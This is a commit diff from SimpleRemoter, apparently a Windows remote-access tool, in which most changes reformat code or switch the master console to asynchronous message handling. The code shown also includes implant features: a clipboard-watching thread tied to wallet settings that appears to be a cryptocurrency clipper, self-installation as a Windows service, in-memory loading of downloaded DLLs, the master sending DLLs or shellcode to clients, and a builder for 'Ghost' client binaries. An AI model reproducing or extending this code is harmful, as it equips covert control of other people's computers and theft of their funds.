mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Improve master efficiency by using asynchronous message processing
This commit is contained in:
@@ -33,8 +33,8 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#endif
|
||||
|
||||
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||
if (m_hWorkThread == NULL) {
|
||||
|
||||
@@ -486,18 +486,17 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()){
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
}
|
||||
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
}
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
|
||||
@@ -8,12 +8,12 @@
|
||||
#define Log(p) ServiceWriteLog(p, "C:\\GhostService.log")
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#define Log(p)
|
||||
#define Log(p)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// 静态变量
|
||||
static MyService g_MyService =
|
||||
static MyService g_MyService =
|
||||
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
|
||||
|
||||
static SERVICE_STATUS g_ServiceStatus = { 0 };
|
||||
@@ -24,7 +24,8 @@ static HANDLE g_StopEvent = NULL;
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
void InitWindowsService(MyService info){
|
||||
void InitWindowsService(MyService info)
|
||||
{
|
||||
memcpy(&g_MyService, &info, sizeof(MyService));
|
||||
}
|
||||
|
||||
@@ -343,8 +344,8 @@ BOOL ServiceWrapper_Install(void)
|
||||
if (schService) {
|
||||
Mprintf("SUCCESS: Service is already installed\n");
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
}
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied. Please run as Administrator\n");
|
||||
@@ -489,97 +490,93 @@ void ServiceWrapper_Uninstall(void)
|
||||
|
||||
void PrintUsage()
|
||||
{
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
Mprintf("\n");
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
Mprintf("\n");
|
||||
}
|
||||
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
static void ExtractExePath(const char* input, char* output, size_t outSize)
|
||||
{
|
||||
const char* start = input;
|
||||
const char* end;
|
||||
size_t len;
|
||||
const char* start = input;
|
||||
const char* end;
|
||||
size_t len;
|
||||
|
||||
if (outSize == 0) return;
|
||||
output[0] = '\0';
|
||||
if (outSize == 0) return;
|
||||
output[0] = '\0';
|
||||
|
||||
// 跳过开头的引号
|
||||
if (*start == '"') {
|
||||
start++;
|
||||
end = strchr(start, '"');
|
||||
if (!end) end = start + strlen(start);
|
||||
} else {
|
||||
// 找到第一个空格(参数分隔)或字符串结尾
|
||||
end = strchr(start, ' ');
|
||||
if (!end) end = start + strlen(start);
|
||||
}
|
||||
// 跳过开头的引号
|
||||
if (*start == '"') {
|
||||
start++;
|
||||
end = strchr(start, '"');
|
||||
if (!end) end = start + strlen(start);
|
||||
} else {
|
||||
// 找到第一个空格(参数分隔)或字符串结尾
|
||||
end = strchr(start, ' ');
|
||||
if (!end) end = start + strlen(start);
|
||||
}
|
||||
|
||||
len = end - start;
|
||||
if (len >= outSize) len = outSize - 1;
|
||||
len = end - start;
|
||||
if (len >= outSize) len = outSize - 1;
|
||||
|
||||
strncpy(output, start, len);
|
||||
output[len] = '\0';
|
||||
strncpy(output, start, len);
|
||||
output[len] = '\0';
|
||||
}
|
||||
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
{
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char serviceExePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char serviceExePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
|
||||
ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
ExtractExePath(servicePath, serviceExePath, MAX_PATH);
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
ExtractExePath(servicePath, serviceExePath, MAX_PATH);
|
||||
|
||||
// 使用不区分大小写的比较
|
||||
if (registered && _stricmp(curPath, serviceExePath) != 0) {
|
||||
Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
|
||||
ServiceWrapper_Uninstall();
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
Mprintf("RunAsWindowsService Install: %s\n", curPath);
|
||||
return ServiceWrapper_Install();
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
// 使用不区分大小写的比较
|
||||
if (registered && _stricmp(curPath, serviceExePath) != 0) {
|
||||
Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
|
||||
ServiceWrapper_Uninstall();
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
Mprintf("RunAsWindowsService Install: %s\n", curPath);
|
||||
return ServiceWrapper_Install();
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
return r == ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
}
|
||||
else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
} else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
} else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
} else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct MyService {
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
} MyService;
|
||||
|
||||
#ifdef __cplusplus
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
#ifdef _DEBUG
|
||||
#define SessionLog(p) ServiceWriteLog(p, "C:\\SessionMonitor.log")
|
||||
#else
|
||||
#define SessionLog(p)
|
||||
#define SessionLog(p)
|
||||
#endif
|
||||
|
||||
// ǰ<><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -91,18 +91,18 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
|
||||
// ============================================
|
||||
void ServiceWriteLog(const char* message, const char* filename)
|
||||
{
|
||||
FILE* f;
|
||||
SYSTEMTIME st;
|
||||
FILE* f;
|
||||
SYSTEMTIME st;
|
||||
|
||||
f = fopen(filename, "a");
|
||||
if (f) {
|
||||
GetLocalTime(&st);
|
||||
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
|
||||
st.wYear, st.wMonth, st.wDay,
|
||||
st.wHour, st.wMinute, st.wSecond,
|
||||
message);
|
||||
fclose(f);
|
||||
}
|
||||
f = fopen(filename, "a");
|
||||
if (f) {
|
||||
GetLocalTime(&st);
|
||||
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
|
||||
st.wYear, st.wMonth, st.wDay,
|
||||
st.wHour, st.wMinute, st.wSecond,
|
||||
message);
|
||||
fclose(f);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
|
||||
@@ -189,10 +189,10 @@ public:
|
||||
memset(addr->szFlag, 0, sizeof(addr->szFlag));
|
||||
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
|
||||
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
|
||||
addr->iStartup = g_ConnectAddress.iStartup;
|
||||
addr->iHeaderEnc = g_ConnectAddress.iHeaderEnc;
|
||||
addr->protoType = g_ConnectAddress.protoType;
|
||||
addr->runningType = g_ConnectAddress.runningType;
|
||||
addr->iStartup = g_ConnectAddress.iStartup;
|
||||
addr->iHeaderEnc = g_ConnectAddress.iHeaderEnc;
|
||||
addr->protoType = g_ConnectAddress.protoType;
|
||||
addr->runningType = g_ConnectAddress.runningType;
|
||||
strcpy(addr->szGroupName, g_ConnectAddress.szGroupName);
|
||||
}
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
@@ -231,15 +231,15 @@ int main(int argc, const char *argv[])
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
if (ret) return 0x20251202;
|
||||
if (ret) return 0x20251202;
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
}
|
||||
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
@@ -290,8 +290,8 @@ int main(int argc, const char *argv[])
|
||||
|
||||
do {
|
||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
if (ret == 1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -137,8 +137,8 @@ public:
|
||||
int s(this->time());
|
||||
if (s > span) {
|
||||
char buf[1024];
|
||||
tag.empty() ? sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s) :
|
||||
sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str());
|
||||
tag.empty() ? sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s) :
|
||||
sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str());
|
||||
OutputDebugStringA(buf);
|
||||
}
|
||||
span = 0;
|
||||
|
||||
@@ -23,10 +23,10 @@ BOOL ServerPair::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
||||
{
|
||||
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret1) THIS_APP->MessageBox(CString("启动TCP服务失败: ") + std::to_string(uPort).c_str()
|
||||
+ CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION);
|
||||
+ CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION);
|
||||
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret2) THIS_APP->MessageBox(CString("启动UDP服务失败: ") + std::to_string(uPort).c_str()
|
||||
+ CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION);
|
||||
+ CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION);
|
||||
return (ret1 == 0 || ret2 == 0);
|
||||
}
|
||||
|
||||
@@ -248,7 +248,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
MessageBox("一个主控程序已经在运行,请检查任务管理器。",
|
||||
"提示", MB_ICONINFORMATION);
|
||||
"提示", MB_ICONINFORMATION);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -96,7 +96,7 @@ public:
|
||||
int MessageBox(const CString& strText, const CString& strCaption = NULL, UINT nType = 0)
|
||||
{
|
||||
return m_pSplash ? m_pSplash->SafeMessageBox(strText, strCaption, nType) : ::MessageBox(NULL, strText, strCaption, nType);
|
||||
}
|
||||
}
|
||||
|
||||
// 启动多个服务端,成功返回0
|
||||
// nPort示例: 6543;7543
|
||||
|
||||
Binary file not shown.
@@ -750,7 +750,6 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
auto ctx = *i;
|
||||
if (ctx == ContextObject || ctx->GetClientID() == id) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("TODO: '%s' already exist!!\n", strIP);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -2058,7 +2057,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, con
|
||||
pids.back() = '?';
|
||||
}
|
||||
if (IDYES == THIS_APP->MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) +
|
||||
"\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) {
|
||||
"\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) {
|
||||
for (const auto& line : lines) {
|
||||
auto cmd = std::string("taskkill /f /pid ") + line;
|
||||
exec(cmd.c_str());
|
||||
@@ -2094,21 +2093,23 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
Dlg->OnReceiveComplete();
|
||||
Dlg->MarkReceiving(false);
|
||||
} else {
|
||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (hEvent == NULL) {
|
||||
HANDLE hEvent = USING_EVENT ? CreateEvent(NULL, TRUE, FALSE, NULL) : NULL;
|
||||
if (USING_EVENT && !hEvent) {
|
||||
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
|
||||
return FALSE;
|
||||
}
|
||||
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
|
||||
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
|
||||
CloseHandle(hEvent);
|
||||
if (hEvent) CloseHandle(hEvent);
|
||||
return FALSE;
|
||||
}
|
||||
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
|
||||
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
DWORD err = GetLastError();
|
||||
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
|
||||
if (hEvent) {
|
||||
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
|
||||
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
DWORD err = GetLastError();
|
||||
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
|
||||
}
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
@@ -2314,23 +2315,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
}
|
||||
case TOKEN_HEARTBEAT:
|
||||
case 137: // 心跳【L】
|
||||
g_2015RemoteDlg->SendMessage(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
case SOCKET_DLLLOADER: {// 请求DLL【L】
|
||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||||
int connNum = 0;
|
||||
if (typ == SHELLCODE) {
|
||||
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
|
||||
} else {
|
||||
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
|
||||
}
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
// TODO 注入记事本的加载器需要更新
|
||||
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||
BOOL send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n", ContextObject->RemoteAddr().c_str(),
|
||||
typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||
break;
|
||||
}
|
||||
case COMMAND_BYE: { // 主机下线【L】
|
||||
@@ -2417,7 +2413,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
}
|
||||
}
|
||||
auto duration = clock() - tick;
|
||||
if (duration > 200) {
|
||||
if (duration > 100) {
|
||||
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
|
||||
}
|
||||
}
|
||||
@@ -2435,9 +2431,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
strIP = ContextObject->GetPeerName().c_str();
|
||||
// 不合法的数据包
|
||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||||
Mprintf(buf);
|
||||
Mprintf("*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -2482,7 +2476,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
Mprintf("======> OnUserOfflineMsg\n");
|
||||
auto host = FindHost((int)lParam);
|
||||
if (host) {
|
||||
Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str());
|
||||
CLock L(m_cs);
|
||||
m_HostList.erase(host);
|
||||
}
|
||||
CString ip, port;
|
||||
port.Format("%d", lParam);
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -2492,7 +2491,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
if (cur == port) {
|
||||
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
|
||||
auto ctx = (context*)m_CList_Online.GetItemData(i);
|
||||
m_HostList.erase(ctx);
|
||||
m_CList_Online.DeleteItem(i);
|
||||
ShowMessage("操作成功", ip + "主机下线");
|
||||
break;
|
||||
@@ -2512,7 +2510,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) {
|
||||
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam;
|
||||
UpdateActiveWindow(ctx);
|
||||
|
||||
@@ -2521,6 +2520,13 @@ LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) {
|
||||
|
||||
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
auto host = FindHost(ctx);
|
||||
if (!host) {
|
||||
ctx->CancelIO();
|
||||
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
Heartbeat hb;
|
||||
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
|
||||
|
||||
@@ -2546,15 +2552,29 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
return;
|
||||
}
|
||||
}
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
if (ctx->IsEqual(*i)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
ctx->CancelIO();
|
||||
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHost(context* ctx)
|
||||
{
|
||||
CLock L(m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
if (ctx->IsEqual(*i)) {
|
||||
return ctx;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHost(int port)
|
||||
{
|
||||
CLock L(m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
if ((*i)->GetPort() == port) {
|
||||
return *i;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
@@ -2583,7 +2603,7 @@ bool isAllZeros(const BYTE* data, int len)
|
||||
return true;
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
||||
{
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||||
@@ -2595,10 +2615,12 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
||||
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
||||
if (!buf->MD5().empty() && md5 != buf->MD5()) {
|
||||
ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
|
||||
return TRUE;
|
||||
} else {
|
||||
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -13,6 +13,9 @@
|
||||
// 是否在退出主控端时也退出客户端
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
|
||||
// 是否使用同步事件处理消息
|
||||
#define USING_EVENT 0
|
||||
|
||||
typedef struct DllInfo {
|
||||
std::string Name;
|
||||
Buffer* Data;
|
||||
@@ -205,7 +208,7 @@ public:
|
||||
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||
MasterSettings m_settings;
|
||||
@@ -223,6 +226,8 @@ public:
|
||||
std::string m_selectedGroup;
|
||||
void LoadListData(const std::string& group);
|
||||
void DeletePopupWindow();
|
||||
context* FindHost(context* ctx);
|
||||
context* FindHost(int port);
|
||||
|
||||
CStatusBar m_StatusBar; //状态条
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
|
||||
@@ -200,12 +200,12 @@ void CBuildDlg::OnBnClickedOk()
|
||||
startup = Startup_GhostMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
break;
|
||||
case IndexTestRunMsc:
|
||||
file = "TestRun.exe";
|
||||
typ = CLIENT_TYPE_MEMDLL;
|
||||
case IndexTestRunMsc:
|
||||
file = "TestRun.exe";
|
||||
typ = CLIENT_TYPE_MEMDLL;
|
||||
startup = Startup_TestRunMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
case IndexServerDll:
|
||||
file = "ServerDll.dll";
|
||||
typ = CLIENT_TYPE_DLL;
|
||||
|
||||
@@ -410,7 +410,7 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
